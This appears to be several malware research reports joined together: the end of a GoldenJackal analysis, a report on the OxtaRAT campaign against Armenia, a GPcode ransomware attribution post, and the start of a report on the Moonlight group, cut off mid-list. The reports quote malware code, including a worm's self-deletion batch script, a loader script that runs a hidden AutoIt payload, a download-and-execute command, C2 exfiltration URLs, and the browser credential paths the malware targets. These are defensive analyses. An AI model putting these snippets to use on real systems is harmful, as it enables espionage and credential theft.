pattern could represent: - a simple path in the local filesystem; - a path on a remote share; - constant string all; - constant string usb. When the pattern equals ‘all’, the malware enumerates all logical drives, and for each one it creates a new Watcher object. When the pattern is ‘usb’, it listens for system events corresponding to the action of creating a new removable drive on the system. When a new drive is detected, it creates a new Watcher object. Every time a new Watcher is added, the malware notifies the log of the event and sends the information to the remote C2 using HTTP Post requests. The log is created using the following string as a template: ``` Path: {0}{1}\r\nMasks: {2}\r\nExclude: {3}\r\nDays: {4}\r\nMaxSize: {5}\r\nInterval: {6} ``` And is uploaded inside an encrypted payload that contains the following information: ``` |<AES_Key,AES_IV><Agent_id\\%yyyyMMddHHmmssfff%.log><Log content>| ``` The AES_Key and AES_IV are generated for each request and are encrypted with the RSA algorithm using a key embedded in the code. The resulting payload is also compressed with the GZIP algorithm. The Agent_id\\Log_path.log and the Log content data are encrypted with the AES algorithm and compressed with GZIP. The Watcher objects are responsible for scanning activities. When a Watcher starts, it enumerates all files in the directory and its subdirectories. The scanner can also resolve the .lnk links. When the scanner detects a file that matches the defined properties (mask, days, max size, not in exclusions), it calculates the file content hash, checks if the resulting value is present in a hash table stored in the local cache directory and adds the value if not present. When a new file is detected, the malware uploads the file and the related filepath inside an encrypted payload using the same logic described above. In this case, the encrypted payload contains the following information: ``` |<AES_Key,AES_IV><Agent_id\\Local_file_path><File content>| ``` The Agent_id\\Local_file_path and the File content data are encrypted with the AES algorithm and compressed with GZIP. ### JackalWorm This worm was developed to spread and infect systems using removable USB drives. The program was designed as a flexible tool that can be used to infect systems with any malware. Its behavior changes according to the parent process. When the malware is working on a system that is already infected and the parent process is `taskeng.exe` or `services.exe`: 1. Monitors removable USB drives 2. When a device is attached, hides the last-modified directory and replaces it with a copy of the worm The code used to monitor removable USB drives is the same one observed in JackalSteal. It creates a ManagementEventWatcher object, which allows it to subscribe to event notifications that correspond to a given WQL query and the issuing of a callback upon their interception. The query used by the malware instructs the system to check for a logical removable disk creation event every five seconds: ``` select * from __InstanceCreationEvent within 5 where TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DriveType = 2 ``` When the malware detects a removable USB storage device, it will copy itself onto it. The path it will copy to is determined by listing all directories and selecting the one that was modified last. It will create a copy of itself on the drive root using the same directory name and change the directory’s attribute to “hidden”. This will result in the actual directory being hidden and replaced with a copy of the malware with the directory name. Moreover, JackalWorm uses an icon mimicking a Windows directory, tricking the user into executing the malware when trying to access a directory. In the following example, the removable drive “E:” was infected by the malware, which copied itself as `Folder1.exe` and changed the attributes of `Folder1` to hide it. ### Infected Device When the malware starts on a clean system and the parent process is `explorer.exe` and the file is located in a removable drive, the behavior is as follows: 1. Opens the hidden directory 2. Performs the actions specified in the configuration files 3. Infects the system with the worm The configuration files are embedded resources that contain XML data that can be used to instruct the worm to perform some actions: - Drop a program and guarantee its persistence with a scheduled task - Drop a program and execute it with the specified arguments - Execute an existing program with the specified arguments A valid configuration file looks like this: ``` <Resource type="install" interval="15" ext="exe" data="rcdata02" /> ``` In this case, the worm was configured to install the PE file stored in another resource “rcdata02”, save it with the extension `.exe`, and create a scheduled task to run it every 15 minutes. Other valid examples are: ``` <Resource type="process" file="%TMP%\test.exe" args="" data="rcdata02" /> ``` Drops the PE file stored in another resource “rcdata02” in “%TEMP%\test.exe” and executes it. ``` <Resource type="process" file="%WINDIR%\system32\ping.exe" args="1.1.1.1"/> ``` Executes the program “%WINDIR%\system32\ping.exe” with the argument “1.1.1.1”. In our investigations, we observed only the first example and the malware was configured to install the JackalControl Trojan. The installation procedure selects the malware location in much the same way as the procedure described in the section above. It differs from the other one because it enumerates the subdirectories in CommonAppData only and copies the file using the subdirectory’s names concatenated with another static value, `upd.exe`. If it fails, it tries with a list of hard-coded directory names, which is a bit different from the procedure described above: - Google - Mozilla - Adobe - Intel - [Random GUID] The worm maintains its persistence by creating a scheduled task with a hard-coded XML template dynamically modified at runtime. Once installed, the worm deletes itself from the removable drive by using a batch script. The script is dropped in the local Temp directory with a random name: ``` @echo off @chcp 65001>nul :check @tasklist | findstr /i "%executingFilename%" >nul @if %errorlevel%==0 goto check @del /f /q /a h "%executingPath%" @del /f /q "%Temp%\%randomname%.bat" ``` Future removable drives that are attached will be re-infected with JackalWorm. It is also worth mentioning that this tool seems to be under development. We deduced this by analyzing the embedded .NET resources of the file `5DE309466B2163958C2E12C7B02D8384`. Their size is 193973 bytes, which is much bigger than their actual content: - Rcdata01 – XML config – Size: 67 bytes - Rcdata02 – JackalControl Trojan – Size: 27136 bytes It means there are 166770 bytes of unknown data. Most of them are part of the legitimate notepad.exe Windows utility, and specifically, the first 0x6A30 bytes were overwritten. After the legitimate notepad.exe image, we found also the following XML configurations: ``` <Resource type="scheduler" interval="15" ext="exe" args="" data="notepad" /> <Resource type="process" file="cmd.exe" args="/c echo TEST > %USERPROFILE%\Desktop\test.txt" /> ``` The first XML shows a new type value: ‘scheduler’, which is not specified in the code. The second XML shows that this specific resource was used for testing purposes and the attacker was trying to run cmd.exe to write the word “TEST” in a text file on the desktop: `%USERPROFILE%\Desktop\test.txt`. ### JackalPerInfo This malware was developed to collect information about the compromised system, as well as a specific set of files that could potentially be used to retrieve stored credentials and the user’s web activities. The attacker named it “perinfo”, a contraction of the program’s main class name PersonalInfoContainer. Its behavior changes according to the number of arguments provided during execution. Specifically, when executed with only one argument, the malware collects a predefined set of information and stores it in a binary file compressed with GZIP. The filename is specified in the argument provided. When executed with two arguments, the malware uses the first argument to load a previously generated binary file and extract all the information to a directory specified by the second argument. By default, the program should be executed with one argument. Once it is executed, the malware starts collecting information about the system using a specific function, `GetSysInfo`, which collects the following information: 1. Computer name: %s 2. OS version: %S 3. Domain: %S 4. User: %S 5. Local time: %s 6. Interfaces: - %Interface Name% - DESC: - TYPE: - MAC: - IP: - GW: - DNS: - DHCP: - DOMAIN: 7. Remote IP: 8. Current directory: 9. Drives: - C:\ Fixed - D:\ CDRom 10. Applications: - %Installed Application1% - %Installed Application2% 11. Processes: - %Process Name 1% - Desc: %s - Name: %s - Path: %s - %Process Name 2% This specific function was also observed in the first JackalControl variants, but was removed from newer variants. The malware continues its operation by enumerating the logical drives on the system; and for each one it enumerates the files in the root path. The collected info includes the last write time, the filename, and the file size. It then enumerates the Users directory in the system drive, usually C:\Users\. For each user, it enumerates the content of the following directories: - Desktop - Documents - Downloads - AppData\Roaming\Microsoft\Windows\Recent It tries also to acquire the following files: 1. Desktop\*.txt 2. Documents\*.txt 3. AppData\Local\Microsoft\Windows\WebCache\*.log 4. AppData\Roaming\Microsoft\Windows\Cookies\*.txt 5. AppData\Local\Google\Chrome\User Data\*\Bookmarks 6. AppData\Local\Google\Chrome\User Data\*\Cookies 7. AppData\Local\Google\Chrome\User Data\*\History 8. AppData\Local\Google\Chrome\User Data\*\Login Data 9. AppData\Local\Google\Chrome\User Data\*\Shortcuts 10. AppData\Local\Google\Chrome\User Data\*\Web Data 11. AppData\Roaming\Opera\Opera\*\bookmarks.adr 12. AppData\Roaming\Opera\Opera\*\global_history.dat 13. AppData\Roaming\Mozilla\Firefox\Profiles\*\places.sqlite 14. AppData\Roaming\Mozilla\Firefox\Profiles\*\cookies.sqlite 15. AppData\Roaming\Mozilla\Firefox\Profiles\*\formhistory.sqlite The malware attempts to steal credentials stored in the victim’s browser databases, as well as other information such as cookies that could be used to gain access to web services. Finally, it serializes the collected information to a binary format, compresses all the data with the GZIP algorithm, and stores everything in the file specified with the first argument provided by the attacker. ### JackalScreenWatcher This tool is used to collect screenshots of the victim’s desktop and sends the pictures to a remote, hard-coded C2 server: `hxxps://tahaherbal[.]ir/wp-includes/class-wp-http-iwr-client.php`. This specific webpage was also used as a C2 for the JackalSteal component, indicating that the tools are probably part of a unique framework. The malware can handle some arguments that are optional and can be provided as input: - -r resolution ratio (default 1.0) - -i interval (default 10 seconds) - -n specify a custom agent id. By default, this value is equal to: %Hostname%\%Username% The program’s primary function involves running a thread that scans all displays on the system, checking their dimensions. It then starts an infinite loop, periodically checking if the user is active on the system. Whenever the malware detects user activity, it captures a screenshot and sends it to the remote server. User activity is detected by monitoring the cursor’s position and checking if it has changed since the last recorded position. After uploading a screenshot, it waits for a specified interval before restarting the loop. The screenshots are uploaded inside an encrypted payload using HTTP Post requests. The encrypted payload is similar to that used by JackalSteal and contains the following information: ``` |<AES_Key,AES_IV><Remote filename><Screenshot>| ``` AES_Key and AES_IV are encrypted with the RSA algorithm using a key embedded in the code. The resulting payload is also compressed with the GZIP algorithm. The Remote filename and Screenshot data are encrypted with the AES algorithm and compressed with GZIP. The RSA key is the same as that observed in other JackalSteal components. ## Infrastructure GoldenJackal activity is characterized by the use of compromised WordPress websites as a method to host C2-related logic. We believe the attackers upload a malicious PHP file that is used as a relay to forward web requests to another backbone C2 server. We don’t have any evidence of the vulnerabilities used to compromise the sites. However, we did observe that many of the websites were using obsolete versions of WordPress and some had also been defaced or infected with previously uploaded web shells, likely as a result of low-key hacktivist or cybercriminal activity. For this reason, we assess that the vulnerabilities used to breach these websites are known ones rather than 0-days. The remote webpage usually replies with a fake “Not Found” page. The HTTP response status code is “200”, but the HTTP body shows a “Not found” webpage. ### XHTML ``` <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL %FILE PATH% was not found on this server.</p> <hr> <address>%SERVER%</address> </body></html> ``` In specific cases, the attacker provides a valid response with a list of commands. In those cases, the previous body is followed by a long list of standard Windows new line sequences – “\r\n” – and finally the previously mentioned delimiter: ``` <!-- DEBUGDATA::%ENCODED_DATA% --> ``` ## Victims Over the years, we have observed a limited number of attacks against government and diplomatic entities in the Middle East and South Asia. We observed victims in: Afghanistan, Azerbaijan, Iran, Iraq, Pakistan, and Turkey. ## Attribution We are unable to link GoldenJackal to any known actor. During our investigations, we observed some similarities between GoldenJackal and Turla. Specifically, we noticed a code similarity in the victim UID generation algorithm that overlaps somewhat with that used by Kazuar. Specifically, Kazuar gets the MD5 hash of a predefined string and then XORs it with a four-byte unique “seed” from the machine. The seed is obtained by fetching the serial number of the volume where the operating system is installed. ### XHTML ```csharp public static Guid md5_plus_xor(string string_0) { byte[] bytes = BitConverter.GetBytes(parameter_class.unique_pc_identifier); byte[] array = MD5.Create().ComputeHash(get_bytes_wrapper(string_0)); for (int i = 0; i < array.Length; i++) { byte[] array2 = array; int num = i; array2[num] ^= bytes[i % bytes.Length]; } return new Guid(array); } ``` JackalControl uses an MD5+SHIFT algorithm. It collects a set of information from the machine, including the serial number of the volume where the operating system is installed, to generate a unique seed with the MD5 algorithm. Then it uses the resulting byte array, summing every two consecutive bytes from the resulting MD5 hash and placing the resulting bytes (modulus 256) as the sequence that constructs the final BOT_ID. ### Code Snippet Used to Generate the BOT_ID Moreover, the use of tools developed in .NET and of compromised WordPress websites as C2 is a common Turla TTP. Last but not least, the groups share an interest in the same targets, and in one specific case, we observed that a victim machine was infected with a Turla artifact two months before the GoldenJackal infection. Despite these similarities, we assessed with low confidence that there is a connection between GoldenJackal and Turla, since neither of these is unique to either threat actor. The use of compromised WordPress websites is not a unique TTP. This technique was also observed in activity by other groups such as BlackShadow, another APT active in the Middle East that uses .NET malware. The code similarities are related to a single function in a .NET program that could be easily copied with a decompiler. It is possible that GoldenJackal used that algorithm as a false flag. Another hypothesis is that the developers behind JackalControl were inspired by Turla and decided to replicate the UID generation algorithm. Finally, the shared interest in the same targets is easily explained by the fact that the victims are high-profile targets that could be considered interesting by different actors. ## Conclusions GoldenJackal is an interesting APT actor that tries to keep a low profile. Despite its long-term activities, which are believed to have started in June 2019, this group and the related samples are still generally unknown. The group is probably trying to reduce its visibility by limiting the number of victims. According to our telemetry, the number of targets is very low and most of them were related to government or diplomatic entities. Moreover, some of the samples were deployed only on systems that were not protected by Kaspersky during the infection phase. This may indicate that the actor is trying to protect some of its tools and avoid specific security solutions. Their toolkit seems to be under development – the number of variants shows that they are still investing in it. The latest malware, JackalWorm, appeared in the second half of 2022 and appears to still be in the testing phase. This tool was unexpected because in previous years the attacks were limited to a small group of high-profile entities, and a tool like JackalWorm is probably difficult to bind and can easily get out of control. More information about GoldenJackal, including IoCs and YARA rules, are available to customers of the Kaspersky Intelligence Reporting Service. Contact: [email protected]. ## Indicators of Compromise ### MD5 Hashes **JackalControl** - 5ed498f9ad6e74442b9b6fe289d9feb3 - a5ad15a9115a60f15b7796bc717a471d - c6e5c8bd7c066008178bc1fb19437763 - 4f041937da7748ebf6d0bbc44f1373c9 - eab4f3a69b2d30b16df3d780d689794c - 8c1070f188ae87fba1148a3d791f2523 **JackalSteal** - c05999b9390a3d8f4086f6074a592bc2 **JackalWorm** - 5de309466b2163958c2e12c7b02d8384 **JackalPerInfo** - a491aefb659d2952002ef20ae98d7465 **JackalScreenWatcher** - 1072bfeee89e369a9355819ffa39ad20 ### Legitimate Compromised Websites **JackalControl C2** - hxxp://abert-online[.]de/meeting/plugins[.]php - hxxp://acehigh[.]host/robotx[.]php - hxxp://assistance[.]uz/admin/plugins[.]php - hxxp://cnom[.]sante[.]gov[.]ml/components/com_avreloaded/views/popup/tmpl/header[.]php - hxxp://info[.]merysof[.]am/plugins/search/content/plugins[.]php - hxxp://invest[.]zyrardow[.]pl/admin/model/setting/plugins[.]php - hxxp://weblines[.]gr/gallery/gallery_input[.]php - hxxp://www[.]wetter-bild[.]de/plugins[.]php - hxxps://ajapnyakmc[.]com/wp-content/cache/index[.]php - hxxps://asusiran[.]com/wp-content/plugins/persian-woocommerce/include/class-cache[.]php - hxxps://asusiran[.]com/wp-content/themes/woodmart/inc/modules/cache[.]php - hxxps://croma[.]vn/wp-content/themes/croma/template-parts/footer[.]php - hxxps://den-photomaster[.]kz/wp-track[.]php - hxxps://eyetelligence[.]ai/wp-content/themes/cms/inc/template-parts/footer[.]php - hxxps://finasteridehair[.]com/wp-includes/class-wp-network-statistics[.]php - hxxps://gradaran[.]be/wp-content/themes/tb-sound/inc/footer[.]php - hxxps://mehrganhospital[.]com/wp-includes/class-wp-tax-system[.]php - hxxps://meukowcognac[.]com/wp-content/themes/astra/page-flags[.]php - hxxps://nassiraq[.]iq/wp-includes/class-wp-header-styles[.]php - hxxps://new[.]jmcashback[.]com/wp-track[.]php - hxxps://news[.]lmond[.]com/wp-content/themes/newsbook/inc/footer[.]php - hxxps://pabalochistan[.]gov[.]pk/new/wp-content/cache/functions[.]php - hxxps://pabalochistan[.]gov[.]pk/new/wp-content/themes/dt-the7/inc/cache[.]php - hxxps://pabalochistan[.]gov[.]pk/new/wp-content/themes/twentyfifteen/content-manager[.]php - hxxps://sbj-i[.]com/wp-content/plugins/wp-persian/includes/class-wp-cache[.]php - hxxps://sbj-i[.]com/wp-content/themes/hamyarwp-spacious/cache[.]php - hxxps://sokerpower[.]com/wp-includes/class-wp-header-styles[.]php - hxxps://technocometsolutions[.]com/wp-content/themes/seofy/templates-sample[.]php - hxxps://www[.]djstuff[.]fr/wp-content/themes/twentyfourteen/inc/footer[.]php - hxxps://www[.]perlesoie[.]com/wp-content/plugins/contact-form-7/includes/cache[.]php - hxxps://www[.]perlesoie[.]com/wp-content/themes/flatsome/inc/classes/class-flatsome-cache[.]php **JackalSteal/JackalScreenWatcher C2** - hxxps://tahaherbal[.]ir/wp-includes/class-wp-http-iwr-client.php - hxxps://winoptimum[.]com/wp-includes/customize/class-wp-customize-sidebar-refresh.php **Distribution Websites** - hxxps://www[.]pak-developers[.]net/internal_data/templates/template.html - hxxps://www[.]pak-developers[.]net/internal_data/templates/bottom.jpg - .NET - APT - Backdoor - Cyber espionage - Data theft - GoldenJackal - Malware - Malware Descriptions - Malware Technologies - Targeted attacks **Authors** Giampaolo Dedola
# Operation Silent Watch: Desktop Surveillance in Azerbaijan and Armenia **February 16, 2023** ## Executive Summary Amid rising tensions between Azerbaijan and Armenia over the Lachin corridor in late 2022, Check Point Research identified a malicious campaign against entities in Armenia. The malware distributed in this campaign is a new version of a backdoor we track as OxtaRAT, an AutoIt-based tool for remote access and desktop surveillance. ### Key Findings - The newest version of OxtaRAT is a polyglot file, which combines compiled AutoIT script and an image. The tool capabilities include searching for and exfiltrating files from the infected machine, recording video from the web camera and desktop, remotely controlling the compromised machine with TightVNC, installing a web shell, performing port scanning, and more. - Compared to previous campaigns of this threat actor, the latest campaign from November 2022 presents changes in the infection chain, improved operational security, and new functionality to improve the ways to steal the victim’s data. - The threat actors behind these attacks have been targeting human rights organizations, dissidents, and independent media in Azerbaijan for several years. This is the first time there is a clear indication of these attackers using OxtaRAT against Armenian targets and targeting corporate environments. In this report, we provide a full technical analysis of the OxtaRAT as well as its capabilities and evolution over the years. We also discuss the tactics, techniques, and procedures (TTPs) of the threat actors, complete with an overview of their activity throughout the years. ## Background The Republic of Artsakh, also known as the Nagorno-Karabakh Republic, is a breakaway region in the South Caucasus with a majority ethnic Armenian population but is recognized internationally as part of Azerbaijan. It is a de facto enclave within Azerbaijan, with the only land route to Armenia through the Lachin corridor, which has been under the control of Russian peacekeepers since the end of the Second Nagorno-Karabakh War in 2020. The situation in Artsakh is tense, with frequent ceasefire violations and sporadic outbreaks of violence. For more than two decades, this unresolved highly militarized ethno-nationalist territorial conflict continues to be a source of tension between Armenia and Azerbaijan. ## The Infection Chain A malicious file named `Israeli_NGO_thanks_Artsakh_bank_for_the_support_of.scr` was submitted to VirusTotal (VT) on November 29, 2022, from an IP address located in Yerevan, Armenia. It is a self-extracting archive that masquerades as a PDF file and bears a PDF icon. Upon execution, it drops to the Temp folder of the infected device and executes a self-extracting cab called `Alexander_Lapshin.EXE`. This in turn drops multiple additional files and executes one of them – the `exec.bat` script. In its deobfuscated form, this script is very short: ```batch @echo off xcopy /y /e /k /h /i * %appdata%\Autoit3\ copy /b /y %appdata%\Autoit3\Alexander_Lapshin.pdf %temp%\ start %temp%\Alexander_Lapshin.pdf start %appdata%\Autoit3\Autoit3.exe %appdata%\Autoit3\icon.png exit ``` The `exec.bat` file is responsible for opening a lure PDF file that contains a Wikipedia article about Alexander Lapshin. At the same time, in the background, it copies multiple auxiliary files and the AutoIt interpreter to `%appdata%\Autoit3\` and uses it to execute a malicious AutoIt code hidden inside an image called `icon.png`. Alexander Lapshin, a Russian-Israeli travel blogger, journalist, and human rights activist, was detained in Belarus in 2016 and extradited to Azerbaijan. He was sentenced to 3 years in prison for illegally crossing the internationally recognized borders of Azerbaijan, without authorization from the Azerbaijani authorities, in 2011 and 2012 while visiting Nagorno-Karabakh from Armenia. Nine months into his detention, in September 2017, Lapshin was attacked in a solitary confinement cell of a Baku pre-trial detention center. The attack was publicly declared by Azerbaijani officials to be a suicide attempt. Afterward, he was pardoned by the Azerbaijani President and deported to Israel. In 2021, the European Court of Human Rights in the “CASE OF LAPSHIN v. AZERBAIJAN” ruled that Lapshin’s right to life had been violated by Azerbaijan authorities and mandated that Azerbaijan pay 30,000 Euros as compensation. After the verdict, Lapshin publicly posted a picture of the credit card he opened to receive his compensation, issued by the Armenian Artsakhbank. Likely, this incident made Lapshin’s name an attractive lure for the attackers targeting the bank. ## The OxtaRAT Backdoor As we mentioned previously, AutoIT.exe is used to run code from an image called `icon.png`. This is a polyglot malware, combining valid JPEG and AutoIT A3X file formats. AutoIT is a legitimate tool that is used by many IT administrators to automate tasks but is frequently abused by threat actors. In this case, the actors use a fully functional backdoor containing approximately 20,000 lines of obfuscated AutoIt code. The backdoor, which we call OxtaRAT, contains a variety of capabilities typically associated with espionage activity. It contains commands that allow the attackers to: - Run additional code on the infected machine, install a PHP web shell, download, upload and execute files. - Search and exfiltrate files from specific locations or with specific patterns, and even install the PHP FileManager for easier access to and management of the files. - Perform active surveillance activity: record video from a web camera or desktop, and install additional software, such as TightVNC, to remotely control and monitor the machine. - Perform recon on the local machine, such as getting information about the processes, drives, system information, and the speed of the internet connection using Speedtest. - Use a compromised host as a pivot to move through the network: perform port scanning and use Putty’s plink for tunneled communication. ## Execution Flow The backdoor starts by first setting up its base folder, moving the `icon.png` file there, and adding a persistence mechanism to run it every 2 minutes with AutoIt3.exe via a scheduled task named `WallPaperChangeApp`. It also creates a working folder to store the results and logs of each command execution and sets hidden and system attributes for both base and working folders to conceal them from being easily discovered and arouse suspicion. It also downloads the legitimate curl executable and DLL, which are later used for some types of C&C communication. The C&C server for this sample is `edupoliceam[.]info`, a lookalike for the domain of the Police Education Complex of Police of the Republic of Armenia. Next, the malware enters the main infinite loop, where in each step it performs the following actions: - Creates a screenshot of the infected computer. - Sends a GET request to the C&C server to report the victim’s basic information: `https://edupoliceam[.]info/upload.php?GUID=<guid>&SYS=PC_Name|User_Name|IP_address`. - Uploads (using curl) to the C&C server all the files from the working folder which contain screenshots and the results and logs of the previous command execution. - Sends a GET request to C&C server to retrieve the command from the URL: `https://edupoliceam[.]info/upload.php?GUID=<guid>&come=1`. Most of the capabilities require additional files, mostly legitimate, to be downloaded during the malware execution from the path on the server `/requirement/up/bin/`. ## C&C Communication and Commands The communication between the malware and its C&C server is based on clear text commands, the arguments for each command are separated by the “|” sign. The full list of commands supported by the backdoor includes: - **download**: Upload a file using curl. - **upload**: Download a file and save it with a specified filename and random prefix in the Temp directory. - **uploadexec**: Download and execute with `wmic /node:%computername% process call create $output_filename`. - **aueval**: Execute a specified expression with AutoIT command Execute. - **makepersistent**: Create a scheduled task called `WallPaperChangeApp`. - **Implant**: Download and execute `AppCrashCollector.exe`. - **stopimplant**: Kill the `AppCrashCollector` process with `taskkill /IM` and set settings.ini to 0. - **search**: Search for a pattern in a specified path. - **listdesktop**: List the contents of the Desktop folder. - **listdir**: List a specified directory recursively, including the last modified date and size. - **massdownload**: Upload files from a specified path with a specified filter. - **webcamrecord**: Webcam recording using VLC. - **desktoprecord**: Desktop recording using VLC. - **tightvnc**: Download and execute `Wintight.exe`. - **killtightvnc**: Kill TightVNC. - **zipit**: Zip the folder using `7za.exe`. - **unzipit**: Unzip the archive using `7za.exe`. - **installrar**: Download and unzip WinRAR. - **rarit**: Archive the file/files with specific extensions from the folder using WinRAR. - **unrarit**: Extract the archive using Unrar.exe. - **reboot**: Reboot with `cmd.exe /c shutdown -r -t 0 /f`. - **curl**: Execute the curl command. - **portscan**: Download and execute the portscan script. ## Previous Campaigns Although not widely discussed, previous versions of the OxtaRAT backdoor were used in earlier attacks against Azerbaijani political and human rights activists. The older versions of OxtaRAT have significantly less functionality than the new variant but contain similar code and names for most of the commands and the same C&C communication pattern. ### June 2021 In July 2021, Qurium Media reported that several prominent human rights and political activists in Azerbaijan received targeted phishing emails that lured them to download malware from a Google Drive link. The link led to a password-protected RAR archive which contained an Auto-IT compiled executable called “Human Rights Invoice Form Document -2021.exe”. When executed, it downloaded the main AutoIT malware. ### August 2021 In August 2021, another sample was observed, this time submitted to VirusTotal from Armenia. The file called `REPORT_ON_THE_AZERBAIJANI_MILLITARY_AGRESSION (Final Updated 2021).scr` also bears the PDF icon, and when executed, presents the victim with a lure PDF document. ### February 2022 In February of last year, Qurium reported another attack, this time targeting Abulfaz Gurbanli, an Azerbaijani political activist. The attackers pretended to be BBC journalists and sent the victim an email which contained a Google Drive link, pointing to a password-protected RAR archive called `BBC-suallar.rar`. Once again, an AutoIT-compiled executable was extracted. ## Conclusion In this article, we describe the latest attack and the evolution of the tools in the campaigns against Armenian targets, as well as Azerbaijani activists and dissidents. All the details indicate that the underlying threat actors have been maintaining the development of Auto-IT based malware for the last seven years, and are using it in surveillance campaigns whose targets are consistent with Azerbaijani interests. Check Point’s Threat Prevention Engines provides comprehensive coverage of attack tactics, file types, and operating systems and protects against attacks such as described in this research. ### IOCs - 6ac414fad3d61ad5b23c2bcdd8ee797f - ddac9a1189e4b9528d411e07d0e98895 - 0360185bc6371ae42ca0dffe0a21455d - 1c94f1c6241cb598da5da7150a0dc541 - df9673032789847a367df9923bbd44d2 - a1a39e458977aa512b7ff2ba1995b18d - cf225029cade918d92b4b4e2b789b7a5 - 86b5245112436e8a5eabf92fab01ffba - edupoliceam[.]info - filesindrive[.]info - mediacloud[.]space - avvpassport[.]info - filecloudservices[.]xyz - 38.242.197[.]156
# Who's Behind the GPcode Ransomware? In one of these moments when those who are supposed to know don't know, and those who don't realize what they know aren't reaching the appropriate parties, it's time we get back to the basics - finding out who's behind GPcode and trying to tip them on the consequences of their blackmailing actions while collecting as much actionable intelligence as possible using OSINT (open source intelligence) and CYBERINT (cyber intelligence practices). Great situational awareness on behalf of Kaspersky Labs, who were the first to report that a new version of GPcode (also known as PGPCoder) is in the wild, this time with a successful implementation of RSA 1024-bit encryption. However, aiming to crack the encryption could set an important precedent, namely using distributed computing to fight the effects of cybercriminals' actions. Theoretically, the next time they'll introduce even stronger encryption, which would be impossible to crack unless we want to end up running a dedicated BOINC project cracking ransomware in the future. Are there any other more pragmatic solutions to dealing with cryptoviral extortion? It's all a matter of perspective. Along with antivirus companies around the world, we're faced with the task of cracking the RSA 1024-bit key. This is a huge cryptographic challenge. We estimate it would take around 15 million modern computers, running for about a year, to crack such a key. Of course, we don't have that type of computing power at our disposal. This is a case where we need to work together and apply all our collective knowledge and resources to the problem. So we're calling on you: cryptographers, governmental and scientific institutions, antivirus companies, independent researchers… join with us to stop GPcode. This is a unique project – uniting brainpower and resources out of ethical, rather than theoretical or malicious considerations. Despite that GPcode indeed got the encryption implementation right this time, its only weakness remains the way it simply deletes the files it has just encrypted, next to securely wiping them out - at least according to a single sample obtained. Consequently, just like a situation where your files are encrypted with strong encryption and virtually impossible to crack, but the original files are lost. Moreover, instead of trying to crack an algorithm that's created not to be cracked efficiently enough to produce valuable results, why not buy a single copy of the decryptor and start analyzing it? It also appears that the decryptor isn't universal; they seem to be building custom decryptors once the public key used to encrypt the data has been provided to them. So, the ultimate question - who's behind the GPcode ransomware? It's Russian teens with pimples, using E-gold and Liberty Reserve accounts, running three different GPcode campaigns, two of which request either $100 or $200 for the decryptor, and communicating from Chinese IPs. **Emails used by the GPcode authors where the infected victims are supposed to contact them:** - [email protected] - [email protected] - [email protected] - [email protected] **Virtual currency accounts used by the malware authors:** - Liberty Reserve - account U6890784 - E-Gold - account 5431725 - E-Gold - account 5437838 **Sample response email:** "Next, you should send $100 to Liberty Reserve account U6890784 or E-Gold account 5431725. To buy E-currency you may use an exchange service. In the transfer description specify your e-mail. After receiving your payment, we send the decryptor to your e-mail. For check our guarantee you may send us one any encrypted file (with cipher key, specified in any !_READ_ME_!.txt file, being in the directories with the encrypted files). We decrypt it and send to you originally decrypted file. Best Regards, Daniel Robertson." **Second sample response email this time requesting $200:** "The price of decryptor is 200 USD. For payment you may use one of the following variants: 1. Payment to E-Gold account 5437838. 2. Payment to Liberty Reserve account U6890784. 3. If you do not make one of these variants, contact us for a decision. For check our guarantee you may send us ONE any encrypted file. We decrypt it and send to you originally decrypted file. For any questions contact us via e-mail. Best regards, Paul Dyke." So, you've got two people responding back with copy and paste emails, each of them seeking a different amount of money. The John Dow-ish Daniel Robertson is emailing from 58.38.8.211, and Paul Dyke from 221.201.2.227, both Chinese IPs, despite that these campaigners are Russians. This incident is a great example of targeted cryptoviral extortion attacks; namely, it's not efficiency-centered and the core distribution method remains unknown for the time being. Analysis and investigation are continuing. If you're affected, look for backups of your data, or try restoring the deleted files; don't stimulate blackmailing practices by paying them.
# Moonlight – Targeted Attacks in the Middle East Vectra Threat Labs researchers have uncovered the activities of a group of individuals currently engaged in targeted attacks against entities in the Middle East. We identified over 200 samples of malware generated by the group over the last two years. These attacks are themed around Middle Eastern political issues and the motivation appears to relate to espionage, as opposed to opportunistic or criminal intentions. These are not technically sophisticated attackers. However, they do deploy some novel tactics, and the implications of these attacks could be significant. Both the tools and targets of Moonlight are reminiscent of the “Gaza Hacker Team,” a group of attackers that are said to be politically aligned to Hamas. In spite of these commonalities, we have not identified any firm links between the two groups. We refer to this group of attackers as Moonlight, after the name the attackers chose for one of their command-and-control domains. ## Moonlight’s Targets Vectra Networks worked with providers to sinkhole Moonlight’s command-and-control infrastructure. The hosts seen via our sinkhole show a clear targeting of Middle Eastern victims. Most of these victims are connecting from home networks and are therefore unidentifiable, though one notable victim is a Palestinian news organization. Vectra believes the victims from the United States and China are outliers. These infected machines were primarily from university networks and were likely either security researchers sandboxing malware or overseas students targeted for links to their homeland. Indirect targeting data from the online virus scanning site VirusTotal and traffic statistics from the URL linking services the attackers use indicate many of these attacks are targeted towards either small groups or individual targets. The attackers name their malware as documents of interest to their victims, to entice them to open them. The malicious decoy documents display themes relevant to Middle Eastern politics, providing some indication as to who the intended targets may be: - 20160611-NCRI-AR-Rajavi-Syria-Ramadan.docx.exe - Assassination of Talal of Jordan YouTube.exe - Audio recording of the meeting of Egyptian Emirati.mp3.exe - Brigadier Alleno behind moral projection of Zakaria al-Agha.docx.exe - Fatah foreign conspiracies.exe - Weapons and ammunition stores found while digging a waterway in Egyptian Rafah.exe - Hamas and Fatah agree to the following.exe - Hamas and the Egyptian army.exe - Hamas and the Salafist jihadist in the Gaza Strip.scr - Hamas Betrayal.exe - Important leaking security meeting Arab Emirates.exe - Leaked audio recording of the meeting of Egyptian security Emirates.mp3.exe - Leaking important Arab Emirates security meeting.mp3.exe - Meeting of the Executive Committee of the PLO.exe - President sources oust Fatah leadership in Gaza and the cost Abu Samhadana to lead the organization.doc.exe - Sawiris and the project of the Suez Canal.exe - Sinai Bombings.docx.exe - The full truth behind Abu Ghussains disease.exe - The grandson of President Abbas in the festival of love, and what response was Mr. Samir Mashharawi him.exe - The names of the perpetrators of the bombings in the Gaza Strip.exe - The son of Mufti takfiri Hamas fist anti-drug police.docx.exe Moonlight demonstrates that 0-days, or even exploits, aren’t required to successfully compromise machines. Instead, they show a preference for the classic social engineering approach of sending e-mails with attachments or links to files with the filename [legitimate file-extension].exe, for example: - Secrets documents Panama.docx.exe - Audio recording of the meeting of 